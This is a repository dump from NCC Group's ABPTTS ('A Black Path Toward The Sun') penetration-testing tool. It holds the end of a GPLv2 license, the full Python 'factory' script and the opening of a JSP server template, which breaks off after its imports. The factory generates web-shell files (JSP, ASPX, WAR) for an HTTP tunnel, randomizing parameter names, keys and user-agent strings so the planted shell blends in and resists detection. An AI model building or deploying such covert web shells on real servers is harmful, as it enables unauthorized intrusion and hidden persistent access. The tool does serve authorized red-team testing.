174 | otherwise to copy, modify, sublicense or distribute the Program is
175 | void, and will automatically terminate your rights under this License.
176 | However, parties who have received copies, or rights, from you under
177 | this License will not have their licenses terminated so long as such
178 | parties remain in full compliance.
179 |
180 | 5. You are not required to accept this License, since you have not
181 | signed it. However, nothing else grants you permission to modify or
182 | distribute the Program or its derivative works. These actions are
183 | prohibited by law if you do not accept this License. Therefore, by
184 | modifying or distributing the Program (or any work based on the
185 | Program), you indicate your acceptance of this License to do so, and
186 | all its terms and conditions for copying, distributing or modifying
187 | the Program or works based on it.
188 |
189 | 6. Each time you redistribute the Program (or any work based on the
190 | Program), the recipient automatically receives a license from the
191 | original licensor to copy, distribute or modify the Program subject to
192 | these terms and conditions. You may not impose any further
193 | restrictions on the recipients' exercise of the rights granted herein.
194 | You are not responsible for enforcing compliance by third parties to
195 | this License.
196 |
197 | 7. If, as a consequence of a court judgment or allegation of patent
198 | infringement or for any other reason (not limited to patent issues),
199 | conditions are imposed on you (whether by court order, agreement or
200 | otherwise) that contradict the conditions of this License, they do not
201 | excuse you from the conditions of this License. If you cannot
202 | distribute so as to satisfy simultaneously your obligations under this
203 | License and any other pertinent obligations, then as a consequence you
204 | may not distribute the Program at all. For example, if a patent
205 | license would not permit royalty-free redistribution of the Program by
206 | all those who receive copies directly or indirectly through you, then
207 | the only way you could satisfy both it and this License would be to
208 | refrain entirely from distribution of the Program.
209 |
210 | If any portion of this section is held invalid or unenforceable under
211 | any particular circumstance, the balance of the section is intended to
212 | apply and the section as a whole is intended to apply in other
213 | circumstances.
214 |
215 | It is not the purpose of this section to induce you to infringe any
216 | patents or other property right claims or to contest validity of any
217 | such claims; this section has the sole purpose of protecting the
218 | integrity of the free software distribution system, which is
219 | implemented by public license practices. Many people have made
220 | generous contributions to the wide range of software distributed
221 | through that system in reliance on consistent application of that
222 | system; it is up to the author/donor to decide if he or she is willing
223 | to distribute software through any other system and a licensee cannot
224 | impose that choice.
225 |
226 | This section is intended to make thoroughly clear what is believed to
227 | be a consequence of the rest of this License.
228 |
229 | 8. If the distribution and/or use of the Program is restricted in
230 | certain countries either by patents or by copyrighted interfaces, the
231 | original copyright holder who places the Program under this License
232 | may add an explicit geographical distribution limitation excluding
233 | those countries, so that distribution is permitted only in or among
234 | countries not thus excluded. In such case, this License incorporates
235 | the limitation as if written in the body of this License.
236 |
237 | 9. The Free Software Foundation may publish revised and/or new versions
238 | of the General Public License from time to time. Such new versions will
239 | be similar in spirit to the present version, but may differ in detail to
240 | address new problems or concerns.
241 |
242 | Each version is given a distinguishing version number. If the Program
243 | specifies a version number of this License which applies to it and "any
244 | later version", you have the option of following the terms and conditions
245 | either of that version or of any later version published by the Free
246 | Software Foundation. If the Program does not specify a version number of
247 | this License, you may choose any version ever published by the Free Software
248 | Foundation.
249 |
250 | 10. If you wish to incorporate parts of the Program into other free
251 | programs whose distribution conditions are different, write to the author
252 | to ask for permission. For software which is copyrighted by the Free
253 | Software Foundation, write to the Free Software Foundation; we sometimes
254 | make exceptions for this. Our decision will be guided by the two goals
255 | of preserving the free status of all derivatives of our free software and
256 | of promoting the sharing and reuse of software generally.
257 |
258 | NO WARRANTY
259 |
260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
268 | REPAIR OR CORRECTION.
269 |
270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
278 | POSSIBILITY OF SUCH DAMAGES.
279 |
280 | END OF TERMS AND CONDITIONS
281 |
282 | How to Apply These Terms to Your New Programs
283 |
284 | If you develop a new program, and you want it to be of the greatest
285 | possible use to the public, the best way to achieve this is to make it
286 | free software which everyone can redistribute and change under these terms.
287 |
288 | To do so, attach the following notices to the program. It is safest
289 | to attach them to the start of each source file to most effectively
290 | convey the exclusion of warranty; and each file should have at least
291 | the "copyright" line and a pointer to where the full notice is found.
292 |
293 |
294 | Copyright (C)
295 |
296 | This program is free software; you can redistribute it and/or modify
297 | it under the terms of the GNU General Public License as published by
298 | the Free Software Foundation; either version 2 of the License, or
299 | (at your option) any later version.
300 |
301 | This program is distributed in the hope that it will be useful,
302 | but WITHOUT ANY WARRANTY; without even the implied warranty of
303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
304 | GNU General Public License for more details.
305 |
306 | You should have received a copy of the GNU General Public License along
307 | with this program; if not, write to the Free Software Foundation, Inc.,
308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
309 |
310 | Also add information on how to contact you by electronic and paper mail.
311 |
312 | If the program is interactive, make it output a short notice like this
313 | when it starts in an interactive mode:
314 |
315 | Gnomovision version 69, Copyright (C) year name of author
316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
317 | This is free software, and you are welcome to redistribute it
318 | under certain conditions; type `show c' for details.
319 |
320 | The hypothetical commands `show w' and `show c' should show the appropriate
321 | parts of the General Public License. Of course, the commands you use may
322 | be called something other than `show w' and `show c'; they could even be
323 | mouse-clicks or menu items--whatever suits your program.
324 |
325 | You should also get your employer (if you work as a programmer) or your
326 | school, if any, to sign a "copyright disclaimer" for the program, if
327 | necessary. Here is a sample; alter the names:
328 |
329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program
330 | `Gnomovision' (which makes passes at compilers) written by James Hacker.
331 |
332 | , 1 April 1989
333 | Ty Coon, President of Vice
334 |
335 | This General Public License does not permit incorporating your program into
336 | proprietary programs. If your program is a subroutine library, you may
337 | consider it more useful to permit linking proprietary applications with the
338 | library. If this is what you want to do, use the GNU Lesser General
339 | Public License instead of this License.
340 |
--------------------------------------------------------------------------------
/abpttsfactory.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | # This file is part of A Black Path Toward The Sun ("ABPTTS")
4 |
5 | # Copyright 2016 NCC Group
6 |
7 | # A Black Path Toward The Sun ("ABPTTS") is free software: you can redistribute it and/or modify
8 | # it under the terms of version 2 of the GNU General Public License as published by
9 | # the Free Software Foundation.
10 |
11 | # A Black Path Toward The Sun ("ABPTTS") is distributed in the hope that it will be useful,
12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | # GNU General Public License for more details.
15 |
16 | # You should have received a copy of the GNU General Public License
17 | # along with A Black Path Toward The Sun ("ABPTTS") (in the file license.txt).
18 | # If not, see .
19 |
20 | # Version 1.0
21 | # Ben Lincoln, NCC Group
22 | # 2016-07-30
23 |
24 | # Configuration file/server component package generator for A Black Path Toward The Sun
25 |
26 | import base64
27 | import binascii
28 | import inspect
29 | import math
30 | import os
31 | import random
32 | import re
33 | import sys
34 | import zipfile
35 |
36 | import libabptts
37 |
38 | from datetime import datetime, date
39 | from shutil import copyfile
40 |
41 | outputHandler = libabptts.OutputHandler()
42 | conf = libabptts.ABPTTSConfiguration(outputHandler)
43 |
44 | serverFilenameJSP = 'abptts.jsp'
45 | serverFilenameASPX = 'abptts.aspx'
46 |
47 | serverFileTemplates = []
48 | serverFileTemplates.append(serverFilenameJSP)
49 | serverFileTemplates.append(serverFilenameASPX)
50 |
51 | wrapperTemplateFileContentPlaceholder = "%ABPTTS_RESPONSE_CONTENT%"
52 |
53 | # minimum number of entries in the wordlist used for certain random name/value generation
54 | wordlistMinCount = 10
55 |
56 | # minimum number of bytes to generate for the authentication key
57 | authKeyMinLength = 16
58 |
59 | # maximum number of bytes to generate for the authentication key
60 | authKeyMaxLength = 32
61 |
62 | # number of bytes to generate for the encryption key
63 | encryptionKeyLength = 16
64 |
65 | # \\\\\\ Do not modify below this line unless you know what you're doing! //////
66 | #
67 |
68 | def showBanner():
69 | outputHandler.outputMessage("---===[[[ A Black Path Toward The Sun ]]]===---")
70 | outputHandler.outputMessage(" --==[[ - Factory - ]]==--")
71 | outputHandler.outputMessage(" Ben Lincoln, NCC Group")
72 | outputHandler.outputMessage(' Version %s - %s' % (libabptts.ABPTTSVersion.GetVersionString(), libabptts.ABPTTSVersion.GetReleaseDateString()))
73 |
74 | def ShowUsage():
75 | print 'This utility generates a configuration file and matching server-side code (JSP, etc.) to be used with the ABPTTS client component.'
76 | print os.linesep
77 | print 'Usage: %s -c CONFIG_FILE_1 -c CONFIG_FILE_2 [...] -c CONFIG_FILE_n -o BASE_OUTPUT_DIRECTORY [--output-filename OUTPUT_CONFIG_FILE] [-w OUTPUT_WRAPPER_TEMLATE_FILE] [--ignore-defaults] [--wordlist WORDLIST_FILE] [--debug]' % (sys.argv[0])
78 | print os.linesep
79 | print 'Example: %s -c CONFIG_FILE_1 -o /home/blincoln/abptts/config/10.87.134.12' % (sys.argv[0])
80 | print os.linesep
81 | print 'Example: %s -c CONFIG_FILE_1 -c CONFIG_FILE_2 -o /home/blincoln/abptts/config/supervulnerable.goingtogethacked.internet' % (sys.argv[0])
82 | print os.linesep
83 | print 'Data from configuration files is applied in sequential order, to allow partial customization files to be overlayed on top of more complete base files.'
84 | print os.linesep
85 | print 'IE if the same parameter is defined twice in the same file, the later value takes precedence, and if it is defined in two files, the value in whichever file is specified last on the command line takes precedence.'
86 | print os.linesep
87 | print '--output-filename specifies an alternate output filename for the configuration (as opposed to the default of "config.txt")'
88 | print os.linesep
89 | print '-w specifies a template file to use for generating the response wrapper prefix/suffix - see the documentation for details'
90 | print os.linesep
91 | print '--ignore-defaults prevents loading the default configuration as the base. For example, use this mode to merge two or more custom configuration overlay files without including options not explicitly defined in them. IMPORTANT: this will disable generation of server-side files (because if the defaults are not available, it would be very complicated to determine if all necessary parameters have been specified).'
92 | print os.linesep
93 | print '--wordlist allows specification of a custom wordlist file (for random parameter name/value generation) instead of the default.'
94 | print os.linesep
95 | print '--debug will enable verbose output.'
96 |
97 | def GetRandomListEntry(sourceList):
98 | entryNum = random.randint(0, len(sourceList) - 1)
99 | return sourceList[entryNum].strip()
100 |
101 | def CapitalizeFirst(inputString):
102 | return inputString[0:1].upper() + inputString[1:].lower()
103 |
104 | def RandomlyModifyCaps(inputString):
105 | mode = random.randint(0, 5)
106 | if mode < 2:
107 | return inputString
108 | if mode == 2:
109 | return CapitalizeFirst(inputString)
110 | if mode == 3:
111 | return inputString.upper()
112 | if mode == 4:
113 | return inputString.lower()
114 | return inputString
115 |
116 | def RandomlyCapitalizeFirst(inputString):
117 | mode = random.randint(0, 10)
118 | if mode < 5:
119 | return inputString
120 | return CapitalizeFirst(inputString)
121 |
122 | if __name__=='__main__':
123 | showBanner()
124 | if len(sys.argv) < 3:
125 | ShowUsage()
126 | sys.exit(1)
127 |
128 | configFileList = []
129 | cliDebugOutput = False
130 | ignoreDefaults = False
131 |
132 | basePath = os.path.abspath(os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))))
133 | dataFilePath = os.path.join(basePath, 'data')
134 | templateFilePath = os.path.join(basePath, 'template')
135 |
136 | wordListPath = os.path.join(dataFilePath, 'american-english-lowercase-4-64.txt')
137 |
138 | userAgentListPath = os.path.join(dataFilePath, 'user-agents.txt')
139 |
140 | baseOutputDirectory = ""
141 | outputConfigFileName = 'config.txt'
142 | wrapperTemplateFilePath = os.path.join(templateFilePath, 'response_wrapper.html')
143 |
144 | args2 = []
145 |
146 | argNum = 0
147 | while argNum < len(sys.argv):
148 | currentArg = sys.argv[argNum]
149 | foundArg = False
150 | if argNum < (len(sys.argv) - 1):
151 | nextArg = sys.argv[argNum + 1]
152 | if currentArg == "-c":
153 | foundArg = True
154 | configFileList.append(nextArg)
155 | if currentArg == "-o":
156 | foundArg = True
157 | baseOutputDirectory = os.path.abspath(nextArg)
158 | if currentArg == "--output-filename":
159 | foundArg = True
160 | outputConfigFileName = nextArg
161 | if currentArg == "-w":
162 | foundArg = True
163 | wrapperTemplateFilePath = nextArg
164 | if currentArg == "--wordlist":
165 | foundArg = True
166 | wordListPath = nextArg
167 | if foundArg:
168 | argNum += 2
169 | if foundArg == False:
170 | args2.append(currentArg)
171 | argNum += 1
172 |
173 | for a in args2:
174 | if a == "--debug":
175 | cliDebugOutput = True
176 | if a == "--ignore-defaults":
177 | ignoreDefaults = True
178 |
179 | parameterFileArray = []
180 | if ignoreDefaults == False:
181 | parameterFileArray.append(os.path.join(dataFilePath, 'settings-default.txt'))
182 |
183 | if len(parameterFileArray) < 1:
184 | outputHandler.outputMessage('Error: you have included the --ignore-defaults flag, but not explicitly specified any configuration files. At least one configuration file must be specified.')
185 | sys.exit(4)
186 |
187 | for cf in configFileList:
188 | parameterFileArray.append(cf)
189 | parameterHash = conf.LoadParameters(parameterFileArray, True)
190 |
191 | validDirectory = False
192 |
193 | if os.path.exists(baseOutputDirectory):
194 | if os.path.isdir(baseOutputDirectory):
195 | validDirectory = True
196 | else:
197 | outputHandler.outputMessage('Error: a file named "%s" already exists, so that location cannot be used as an output directory. Delete/rename the existing file, or choose a new output directory.' % (baseOutputDirectory))
198 | sys.exit(3)
199 | else:
200 | mdr = conf.MakeDir(baseOutputDirectory, outputHandler)
201 | if mdr:
202 | validDirectory = True
203 | else:
204 | sys.exit(3)
205 |
206 | outputConfigFilePath = os.path.join(baseOutputDirectory, outputConfigFileName)
207 |
208 | outputHandler.outputMessage('Output files will be created in "%s"' % (baseOutputDirectory))
209 | outputHandler.outputMessage('Client-side configuration file will be written as "%s"' % (outputConfigFilePath))
210 |
211 | if os.path.exists(wordListPath):
212 | outputHandler.outputMessage('Using "%s" as a wordlist file' % (wordListPath))
213 | else:
214 | outputHandler.outputMessage('Error: could not find the wordlist file "%s".' % (wordListPath))
215 | sys.exit(5)
216 |
217 | wl = conf.GetFileAsString(wordListPath)
218 | if wl == "":
219 | outputHandler.outputMessage('Error: no content obtained from wordlist file "%s".' % (wordListPath))
220 | sys.exit(6)
221 | wordList = wl.splitlines()
222 |
223 | wc = len(wordList)
224 | if len(wordList) < wordlistMinCount:
225 | outputHandler.outputMessage('Error: the wordlist file "%s" only contained %i entries, but at least %i are required.' % (wordListPath, wc, wordlistMinCount))
226 | sys.exit(7)
227 |
228 | ual = conf.GetFileAsString(userAgentListPath)
229 | if wl == "":
230 | outputHandler.outputMessage('Error: no content obtained from user-agent list file "%s".' % (userAgentListPath))
231 | sys.exit(6)
232 | userAgentList = ual.splitlines()
233 |
234 | wrapperPrefix = ""
235 | wrapperSuffix = ""
236 |
237 | if wrapperTemplateFilePath != "":
238 | if os.path.exists(wrapperTemplateFilePath):
239 | try:
240 | wrapperTemplateFileContents = conf.GetFileAsString(wrapperTemplateFilePath)
241 | wtfcArray = wrapperTemplateFileContents.split(wrapperTemplateFileContentPlaceholder)
242 | if len(wtfcArray) > 1:
243 | wrapperPrefix = wtfcArray[0]
244 | wrapperSuffix = wtfcArray[1]
245 | except Exception as e:
246 | outputHandler.outputMessage('Error while processing response wrapper template file "%s" - %s' % (baseOutputDirectory, e))
247 | wrapperPrefix = ""
248 | wrapperSuffix = ""
249 |
250 | if wrapperPrefix != "":
251 | conf.responseStringPrefixB64 = base64.b64encode(wrapperPrefix)
252 | if wrapperSuffix != "":
253 | conf.responseStringSuffixB64 = base64.b64encode(wrapperSuffix)
254 |
255 | #separators = [ '', '.', '_', '-', '~', '!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '[', ']', '{', '}', '|', '/', '?' ]
256 | separators = [ '', '.', '_', '-', '@', '#', '$', '&', '|', '/' ]
257 | randomStrings = []
258 | randomStringsWithSeparators = []
259 | checkStrings = []
260 | while len(randomStrings) < 16:
261 | word1 = RandomlyCapitalizeFirst(GetRandomListEntry(wordList))
262 | word2 = CapitalizeFirst(GetRandomListEntry(wordList))
263 | newString = '%s%s' % (word1, word2)
264 | if newString.lower() not in checkStrings:
265 | randomStrings.append(newString)
266 | checkStrings.append(newString.lower())
267 |
268 | while len(randomStringsWithSeparators) < 16:
269 | #word1 = RandomlyModifyCaps(GetRandomListEntry(wordList))
270 | #word2 = RandomlyModifyCaps(GetRandomListEntry(wordList))
271 | word1 = binascii.hexlify(bytearray(os.urandom(random.randint(1, 36))))
272 | word2 = binascii.hexlify(bytearray(os.urandom(random.randint(1, 36))))
273 | newString = '%s%s%s' % (word1, GetRandomListEntry(separators), word2)
274 | if newString.lower() not in checkStrings:
275 | randomStringsWithSeparators.append(newString)
276 | checkStrings.append(newString.lower())
277 |
278 |
279 | conf.headerValueUserAgent = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'headerValueUserAgent', conf.headerValueUserAgent, GetRandomListEntry(userAgentList))
280 | conf.headerNameKey = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'headerNameKey', conf.headerNameKey, 'x-%s-%s-%s' % (GetRandomListEntry(wordList).lower(), GetRandomListEntry(wordList).lower(), GetRandomListEntry(wordList).lower()))
281 | authKeyLength = random.randint(authKeyMinLength, authKeyMaxLength)
282 | conf.headerValueKey = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'headerValueKey', conf.headerValueKey, base64.b64encode(str(bytearray(os.urandom(authKeyLength)))))
283 | conf.encryptionKeyHex = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'encryptionKeyHex', conf.encryptionKeyHex, binascii.hexlify(bytearray(os.urandom(encryptionKeyLength))))
284 |
285 | conf.paramNameAccessKey = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'paramNameAccessKey', conf.paramNameAccessKey, randomStrings[11])
286 | conf.paramNameOperation = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'paramNameOperation', conf.paramNameOperation, randomStrings[0])
287 | conf.paramNameDestinationHost = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'paramNameDestinationHost', conf.paramNameDestinationHost, randomStrings[1])
288 | conf.paramNameDestinationPort = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'paramNameDestinationPort', conf.paramNameDestinationPort, randomStrings[2])
289 | conf.paramNameConnectionID = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'paramNameConnectionID', conf.paramNameConnectionID, randomStrings[3])
290 | conf.paramNameData = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'paramNameData', conf.paramNameData, randomStrings[4])
291 | conf.paramNamePlaintextBlock = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'paramNamePlaintextBlock', conf.paramNamePlaintextBlock, randomStrings[5])
292 | conf.paramNameEncryptedBlock = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'paramNameEncryptedBlock', conf.paramNameEncryptedBlock, randomStrings[6])
293 | conf.opModeStringOpenConnection = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'opModeStringOpenConnection', conf.opModeStringOpenConnection, randomStrings[7])
294 | conf.opModeStringSendReceive = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'opModeStringSendReceive', conf.opModeStringSendReceive, randomStrings[8])
295 | conf.opModeStringCloseConnection = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'opModeStringCloseConnection', conf.opModeStringCloseConnection, randomStrings[9])
296 | conf.fileGenerationAppNameShort = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'fileGenerationAppNameShort', conf.fileGenerationAppNameShort, randomStrings[10])
297 |
298 | conf.responseStringHide = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringHide', conf.responseStringHide, randomStringsWithSeparators[0])
299 | conf.responseStringConnectionCreated = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringConnectionCreated', conf.responseStringConnectionCreated, randomStringsWithSeparators[1])
300 | conf.responseStringConnectionClosed = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringConnectionClosed', conf.responseStringConnectionClosed, randomStringsWithSeparators[2])
301 | conf.responseStringData = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringData', conf.responseStringData, randomStringsWithSeparators[3])
302 | conf.responseStringNoData = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringNoData', conf.responseStringNoData, randomStringsWithSeparators[4])
303 | conf.responseStringErrorGeneric = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringErrorGeneric', conf.responseStringErrorGeneric, randomStringsWithSeparators[5])
304 | conf.responseStringErrorInvalidRequest = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringErrorInvalidRequest', conf.responseStringErrorInvalidRequest, randomStringsWithSeparators[6])
305 | conf.responseStringErrorConnectionNotFound = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringErrorConnectionNotFound', conf.responseStringErrorConnectionNotFound, randomStringsWithSeparators[7])
306 | conf.responseStringErrorConnectionOpenFailed = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringErrorConnectionOpenFailed', conf.responseStringErrorConnectionOpenFailed, randomStringsWithSeparators[8])
307 | conf.responseStringErrorConnectionCloseFailed = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringErrorConnectionCloseFailed', conf.responseStringErrorConnectionCloseFailed, randomStringsWithSeparators[9])
308 | conf.responseStringErrorConnectionSendFailed = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringErrorConnectionSendFailed', conf.responseStringErrorConnectionSendFailed, randomStringsWithSeparators[10])
309 | conf.responseStringErrorConnectionReceiveFailed = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringErrorConnectionReceiveFailed', conf.responseStringErrorConnectionReceiveFailed, randomStringsWithSeparators[11])
310 | conf.responseStringErrorDecryptFailed = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringErrorDecryptFailed', conf.responseStringErrorDecryptFailed, randomStringsWithSeparators[12])
311 | conf.responseStringErrorEncryptFailed = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringErrorEncryptFailed', conf.responseStringErrorEncryptFailed, randomStringsWithSeparators[13])
312 | conf.responseStringErrorEncryptionNotSupported = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'responseStringErrorEncryptionNotSupported', conf.responseStringErrorEncryptionNotSupported, randomStringsWithSeparators[14])
313 |
314 |
315 | blockSeparatorChars = []
316 | # use entire ASCII non-printable range except for null bytes
317 | for i in range(1, 32):
318 | blockSeparatorChars.append(chr(i))
319 |
320 | #for i in range(128, 256):
321 | # blockSeparatorChars.append(chr(i))
322 |
323 | bscl = len(blockSeparatorChars) - 1
324 | nvsIndex = random.randint(0, bscl)
325 | psIndex = random.randint(0, bscl)
326 |
327 | while nvsIndex == psIndex:
328 | psIndex = random.randint(0, bscl)
329 |
330 | conf.dataBlockNameValueSeparatorB64 = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'dataBlockNameValueSeparatorB64', conf.dataBlockNameValueSeparatorB64, base64.b64encode(blockSeparatorChars[nvsIndex]))
331 | conf.dataBlockParamSeparatorB64 = conf.ReplaceIfRandomizationPlaceholder(parameterHash, 'dataBlockParamSeparatorB64', conf.dataBlockParamSeparatorB64, base64.b64encode(blockSeparatorChars[psIndex]))
332 |
333 | if cliDebugOutput:
334 | outputHandler.outputMessage('Building ABPTTS configuration with the following values:')
335 | conf.ShowParameters()
336 |
337 | conf.WriteParametersBasedOnHashtable(parameterHash, outputConfigFilePath)
338 |
339 | if ignoreDefaults:
340 | outputHandler.outputMessage('The --ignore-defaults flag was specified, so no server-side files will be generated')
341 | else:
342 | # reload the configuration with the generated content
343 | parameterFileArray.append(outputConfigFilePath)
344 | parameterHash = conf.LoadParameters(parameterFileArray, False)
345 |
346 | for sft in serverFileTemplates:
347 | conf.GenerateServerFileFromTemplate(templateFilePath, sft, baseOutputDirectory, parameterHash)
348 |
349 | # auto-generate WAR file based on the generated JSP
350 | createWAR = True
351 | warRelativePath = 'war'
352 | jspFilename = '%s.%s' % (conf.fileGenerationAppNameShort, 'jsp')
353 | warFilename = '%s.%s' % (conf.fileGenerationAppNameShort, 'war')
354 |
355 | warInputDirectory = os.path.abspath(os.path.join(templateFilePath, warRelativePath))
356 | warOutputDirectory = os.path.abspath(os.path.join(baseOutputDirectory, warRelativePath))
357 | warWEBINFInputDirectory = os.path.join(warInputDirectory, 'WEB-INF')
358 | warMETAINFInputDirectory = os.path.join(warInputDirectory, 'META-INF')
359 | warWEBINFOutputDirectory = os.path.join(warOutputDirectory, 'WEB-INF')
360 | warMETAINFOutputDirectory = os.path.join(warOutputDirectory, 'META-INF')
361 | warJSPInputPath = os.path.join(baseOutputDirectory, serverFilenameJSP)
362 | warJSPOutputPath = os.path.join(warOutputDirectory, jspFilename)
363 | warOutputPath = os.path.join(baseOutputDirectory, warFilename)
364 |
365 | mdr = conf.MakeDir(warOutputDirectory, outputHandler)
366 | if not mdr:
367 | createWAR = False
368 | if createWAR:
369 | mdr = conf.MakeDir(warWEBINFOutputDirectory, outputHandler)
370 | if not mdr:
371 | createWAR = False
372 | if createWAR:
373 | mdr = conf.MakeDir(warMETAINFOutputDirectory, outputHandler)
374 | if not mdr:
375 | createWAR = False
376 | if createWAR:
377 | conf.GenerateServerFileFromTemplate(warWEBINFInputDirectory, 'web.xml', warWEBINFOutputDirectory, parameterHash)
378 | conf.GenerateServerFileFromTemplate(warMETAINFInputDirectory, 'MANIFEST.MF', warMETAINFOutputDirectory, parameterHash)
379 | createWAR = conf.CopyFile(warJSPInputPath, warJSPOutputPath, outputHandler)
380 | if createWAR:
381 | createWAR = conf.ZipDir(warOutputDirectory, warOutputPath, outputHandler)
382 | if createWAR:
383 | outputHandler.outputMessage('Prebuilt JSP WAR file: %s' % (warOutputPath))
384 | outputHandler.outputMessage('Unpacked WAR file contents: %s' % (warOutputDirectory))
385 |
386 |
387 |
388 |
389 |
--------------------------------------------------------------------------------
/template/abptts.jsp:
--------------------------------------------------------------------------------
1 | <%
2 | /*
3 |
4 | This file is part of A Black Path Toward The Sun ("ABPTTS")
5 |
6 | Copyright 2016 NCC Group
7 |
8 | A Black Path Toward The Sun ("ABPTTS") is free software: you can redistribute it and/or modify
9 | it under the terms of version 2 of the GNU General Public License as published by
10 | the Free Software Foundation.
11 |
12 | A Black Path Toward The Sun ("ABPTTS") is distributed in the hope that it will be useful,
13 | but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | GNU General Public License for more details.
16 |
17 | You should have received a copy of the GNU General Public License
18 | along with A Black Path Toward The Sun ("ABPTTS") (in the file license.txt).
19 | If not, see .
20 |
21 | Version 1.0
22 | Ben Lincoln, NCC Group
23 | 2016-07-30
24 |
25 | A Black Path Toward The Sun server component template file (JSP)
26 |
27 | Tested successfully on:
28 |
29 | Apache Tomcat
30 | 3.3.2 (Oracle JRE 1.5.0_22 / Windows 7 / x86-64 / VMWare Fusion)
31 |
32 | 4.1.40 (Oracle JRE 1.5.0_22 / Windows 7 / x86-64 / VMWare Fusion)
33 |
34 | 5.5.36 (Oracle JRE 1.5.0_22 / Windows 7 / x86-64 / VMWare Fusion)
35 |
36 | 6.0.0 (Oracle JRE 1.6.0_13-b03 / OpenSolaris 9 5.11 / x86 / VMWare Fusion)
37 |
38 | 6.0.24-45.el6 (OpenJDK 1.6.0_24 / CentOS 6.3 / x86-64 / VMWare Fusion)
39 |
40 | 6.0.45 (Oracle JRE 1.8.0_91-b15 / Windows 7 / x86-64 / VMWare Fusion)
41 |
42 | 7.0.70 (Oracle JRE 1.8.0_91-b15 / Windows 7 / x86-64 / VMWare Fusion)
43 |
44 | 8.0.14-1 (OpenJDK 1.7.0_79 / Debian 8 / x86-64 / VMWare Fusion)
45 |
46 | 8.0.14-1 (OpenJDK 1.7.0_79 / Debian 8 / x86-64 / VirtualBox)
47 |
48 | IBM WebSphere Application Server
49 | 8.5.5.0 gm1319.01 (IBM J9 VM (build 2.6, JRE 1.6.0 Windows 8 amd64-64) / Windows 10 / x86-64 / VMWare Fusion)
50 |
51 | JBoss
52 | 5.1.0.GA (gij (GNU libgcj) 4.1.2 20080704 (Red Hat 4.1.2-52) / CentOS 5.8 / x86-64 / VMWare Fusion)
53 |
54 | Jetty
55 | 9.3.6.v20151106 (Oracle JRE 1.8.0_71-b15 / Debian 8 / x86-64 / VMWare Fusion)
56 |
57 | */
58 |
59 | %><%@page import="java.io.*,java.net.*,java.util.*,sun.misc.BASE64Decoder,sun.misc.BASE64Encoder,javax.naming.*,javax.servlet.jsp.PageContext,java.security.*,javax.crypto.*,javax.crypto.spec.*"%><%!
60 |
